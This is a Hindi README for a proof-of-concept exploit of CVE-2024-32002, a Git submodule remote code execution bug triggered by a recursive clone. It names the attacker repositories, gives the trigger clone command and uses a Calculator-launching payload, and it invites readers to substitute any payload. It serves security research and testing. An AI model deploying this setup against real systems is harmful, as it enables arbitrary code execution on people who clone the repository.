CVE-2024-32002 RCE PoC

अवलोकन

इस रिपॉजिटरी में CVE-2024-32002 के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) शामिल है, जो Git सबमॉड्यूल्स में एक रिमोट कोड एक्ज़िक्यूशन (RCE) भेद्यता है। यह एक्सप्लॉइट दर्शाता है कि किसी Git रिपॉजिटरी के रिकर्सिव क्लोन के माध्यम से एक दुर्भावनापूर्ण पेलोड कैसे ट्रिगर किया जा सकता है।

रिपॉजिटरी सेटअप

PoC चलाने से पहले, अपने रिमोट Git सर्वर पर निम्नलिखित रिपॉजिटरी बनाएं या आवश्यकतानुसार नाम बदलने के लिए स्वतंत्र महसूस करें:

• hulk.git
• submod.git
• smash.git

यदि आप नाम बदलते हैं, तो PoC स्क्रिप्ट में रिपॉजिटरी पथों को तदनुसार अपडेट करें।

एक्सप्लॉइट विवरण

यह एक्सप्लॉइट Git सबमॉड्यूल्स का उपयोग करता है ताकि जब रिपॉजिटरी को रिकर्सिव रूप से क्लोन किया जाता है, तो लक्षित सिस्टम पर एक पेलोड निष्पादित किया जा सके। यह PoC macOS पर परीक्षण किया गया है।

रिपॉजिटरी पथ परिभाषित करें

HULK_REPO="[email protected]:safebuffer/hulk.git"
pullme_REPO="[email protected]:safebuffer/submod.git"

# Final Exploit Repo
SMASH_REPO="[email protected]:safebuffer/smash.git"

एक्सप्लॉइट ट्रिगर करना

एक्सप्लॉइट ट्रिगर करने के लिए, poc.sh स्क्रिप्ट चलाएं और फिर निम्न कमांड निष्पादित करें:

git clone --recursive $SMASH_REPO

पेलोड

इस PoC में डिफ़ॉल्ट पेलोड macOS पर कैलकुलेटर ऐप खोलता है। आप इसे अपनी पसंद के किसी भी पेलोड में बदल सकते हैं।

/System/Applications/Calculator.app/Contents/MacOS/Calculator

अस्वीकरण

यह PoC केवल शैक्षिक उद्देश्यों के लिए है। इसका जिम्मेदारी से उपयोग करें और केवल उन्हीं सिस्टम पर करें जहां आपके पास परीक्षण की स्पष्ट अनुमति हो। इस PoC का दुरुपयोग गंभीर परिणामों का कारण बन सकता है।